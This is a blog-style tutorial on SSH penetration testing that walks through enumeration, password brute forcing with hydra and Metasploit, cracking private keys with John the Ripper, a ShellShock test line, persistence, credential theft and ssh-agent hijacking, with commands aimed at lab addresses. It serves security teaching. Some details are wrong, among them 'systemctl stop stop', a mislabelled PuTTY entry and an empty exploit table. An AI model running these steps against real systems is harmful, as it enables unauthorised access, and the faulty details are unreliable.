SSH Penetration Testing: Full Comprehensive Guide

In this article, we’ll delve into the intricacies of SSH Penetration Testing, exploring its methodologies, tools, and best practices. Whether you’re a seasoned penetration tester or a cybersecurity enthusiast looking to deepen your knowledge, this guide promises to equip you with the insights needed to master SSH security assessments.

Join us as we unpack the essentials of SSH, uncover common vulnerabilities, and walk through practical, actionable steps for testing and securing your SSH implementations.

Stay tuned to transform your approach to Secure Shell security and ensure your systems stand resilient against the myriad threats in the digital world.

Welcome to the world of SSH Penetration Testing – your gateway to a more secure network environment.

Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities.

SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly.

SSH Introduction

Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host.

Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely.

SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind!

One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure.

Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins.

Managing SSH Service

Verify SSH Server Status

systemctl status ssh

Start SSH Service

systemctl start ssh

Stop SSH Service

systemctl stop stop

Restart SSH Service

systemctl restart stop

Define SSH server to start on boot

systemctl enable ssh

SSH Interesting Files

When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker.

Client Config

SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file:

vi /etc/ssh/ssh_config

Server Config

This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks.

vi /etc/ssh/sshd_config

Recommendation: Active tunnel settings and agent relay, help you with lateral movement.

Authorized Keys

This file contains the public keys that are authorized to access a user’s account, which can be targeted by an attacker to gain unauthorized access.

vi /etc/ssh/authorized_keys

Known Hosts

cat /home/rfs/.ssh/known_hosts

RSA Keys

Default folder containing

cd ~/.ssh
cd /home/rfs/.ssh

SSH Authentication Types

Authentication Type	Description
Password Authentication	Users enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.
Public Key Authentication	Uses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.
Keyboard-Interactive Authentication	Allows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.
Host-Based Authentication	Authenticates based on the host system rather than individual users. It relies on the client system’s host key and the server’s configuration. This method is less secure and not widely recommended.
Certificate-Based Authentication	Involves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.
Multi-Factor Authentication (MFA)	Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.

Ok, let’s talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually.

Some questions to ask before starting to enumerate

• Is there any SSH server running?
• On what Port?
• What version is running?
• Any Exploit to that version?
• What authentication type is used? Passwords / RSA Keys
• It is blocking brute force?

After we have all the answers we can start thinking about what to do, If don’t have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits.

Damn it, we are stuck :/

It’s time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom.

Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In!

Haha is not so easy, but OK, we are learning…

SSH Hacking Tools

Tool Name	Description	Usage
Hydra	Password cracking tool for various protocols, including SSH	Brute-force attacks on SSH passwords
Nmap	Network scanning tool that can identify open SSH ports	Used for reconnaissance on target systems
Metasploit	Framework with various modules, including those for SSH exploitation	Exploiting vulnerabilities in SSH services
John the Ripper	Password cracking tool for various password hashes	Used to crack SSH password hashes
Wireshark	Network protocol analyzer	Captures and analyzes SSH traffic
SSHDump	Sniffing tool for capturing SSH traffic	Monitors and captures SSH packets

1. SSH Enumeration

During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts.

This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation.

After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap.

nmap -sV -p22 192.168.1.96

SSH Banner Grabber

Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it.

Banner grabbing can be useful for several reasons, including:

1. Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used.
2. Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information.
3. Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server.

Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed.

nc 192.168.1.96 22

If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server.

ssh -v 192.168.1.96

SSH Servers List

SSH Server	Description	URL
OpenSSH	Open-source SSH server widely used in Unix-like operating systems	OpenSSH
Dropbear	Lightweight and efficient SSH server primarily designed for embedded systems	Dropbear
Bitvise SSH Server	SSH server for Windows with additional features like remote administration	Bitvise
Tectia SSH Server	Commercial SSH server solution by SSH Communications Security	Tectia
ProFTPD with mod_sftp	FTP server with SFTP support using mod_sftp	ProFTPD

Detect SSH Authentication Type

To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH.

Here’s how you can check the SSH authentication type on a Linux system:

1. Open the system log file at /var/log/auth.log using your preferred text editor.
2. Search for the line that contains the user login information you want to check.
3. Look for the “Accepted” keyword in the line, which indicates that the authentication was successful.

ssh -v 192.168.1.96

Detect remote users

msfconsole
msf> use auxiliary/scanner/ssh/ssh_enumusers

2. SSH Exploitation

At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra.

Bruteforce SSH Service

hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96

crackmapexec ssh -U user -P passwd.lst 192.168.1.96

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.96
set user_file user.txt
set pass_file password.txt
run

Crack SSH Private Keys

ssh2john id_rsa.priv hash.txt

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

Default Credentials

https://github.com/PopLabSec/SSH-default-Credentials

SSH Bad Keys

Some embedded devices have static SSH keys, you can find a collection of keys here:

https://github.com/poplabdev/ssh-badkeys

SSH Exploits

Version	Exploit
OpenSSH <7.4
LibSSH RCE	CVE-2018-10933

SSH and ShellShock

The ShellShock vulnerability allowed attackers to execute arbitrary commands on a target system by exploiting the Bash shell.

It was particularly severe because Bash is widely used and is often invoked by various programs, making the attack surface broad.

LC_X='() { :; }; echo vulnerable' ssh rfs@poplabsec.com -o SendEnv=LC_X

Openssh 8.2 p1 exploit

3. SSH Post Exploitation – Pentest SSH

SSH post-exploitation refers to the phase in a cybersecurity scenario where an attacker, having successfully gained unauthorized access to a system through the exploitation of vulnerabilities or unauthorized means, seeks to maximize their control, gather sensitive information, and potentially establish persistence within the compromised environment.

SSH Persistence

SSH persistence, in the realm of cybersecurity, refers to the establishment of enduring access points on a system through the Secure Shell (SSH) protocol.

This method is often employed by malicious actors to maintain unauthorized and persistent control over a compromised system, allowing them to access and manipulate sensitive information or resources over an extended period.

use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit

SSH User Code Execution

msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) >set rhosts 192.168.1.103
msf exploit(sshexec) >set username rfs
msf exploit(sshexec) >set password poplabsec
msf exploit(sshexec) >set srvhost 192.168.1.107
msf exploit(sshexec) >exploit

SSH Lateral Movement

Lateral movement aims to extend an attacker’s reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources.

Read more about Pivoting using SSH

Steal SSH credentials

If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine.

use post/multi/gather/ssh_creds
msf post(ssh_creds) > set session 1
msf post(ssh_creds) > exploit

Search SSH Key files

find / -name *id_rsa* 2>/dev/null

Search SSH Key files inside file content

find / -name *id_rsa* 2>/dev/null

SSH Hijacking

Find the SSHd process

ps uax|grep sshd

# Attacker looks for the SSH_AUTH_SOCK on victim's environment variables
grep SSH_AUTH_SOCK /proc//environ

Attacker hijack’s victim’s ssh-agent socket

SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l

An attacker can log in to remote systems as the victim

ssh 192.168.1.107 -l victim

SSH Tunnels

SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks.

Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems.

Tunnel Type	Description	Use Case
Local Port Forwarding	Forwards traffic from a local port to a remote destination through the SSH server	Securely access services on a remote server from the local machine
Remote Port Forwarding	Forwards traffic from a remote port to a local destination through the SSH server	Expose a local service to a remote server securely
Dynamic Port Forwarding	Creates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnel	Browsing the internet securely and anonymously through the SSH tunnel
X11 Forwarding	Enables secure forwarding of graphical applications from a remote server to the local machine	Running graphical applications on a remote server and displaying them locally
Tunneling for File Transfer	Facilitates secure file transfer by tunneling FTP or other protocols through the SSH connection	Securely transfer files between systems using non-secure protocols

SSH Logs

To view SSH-related logs, you can use the grep command to filter out SSH entries.

grep sshd /var/log/auth.log

Or for systems using

cat var/log/secure

grep sshd /var/log/secure

Working with RSA Keys

List of Tools that use SSH

Tool Name	Description
SCP (Secure Copy)	Command-line tool for securely copying files between local and remote systems using SSH
SFTP (Secure FTP)	File transfer protocol that operates over SSH, providing secure file access, transfer, and management
rsync	Utility for efficiently syncing files and directories between systems, often used with SSH for secure synchronization
Git	Distributed version control system, supports SSH for secure repository access and management
Ansible	Automation tool for configuration management and application deployment, uses SSH for communication with remote hosts
PuTTY	Automation tool for configuration management and application deployment uses SSH for communication with remote hosts
WinSCP	Windows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transfer
Cyberduck	Libre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH support
MobaXterm	Enhanced terminal for Windows with X11 server, tabbed SSH client, and various network tools
Terminus (formerly Pantheon Terminus)	Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems

FTP Penetration Testing

RDP Penetration Testing

SMB Penetration Testing

PostgreSQL Penetration Testing

F.A.Q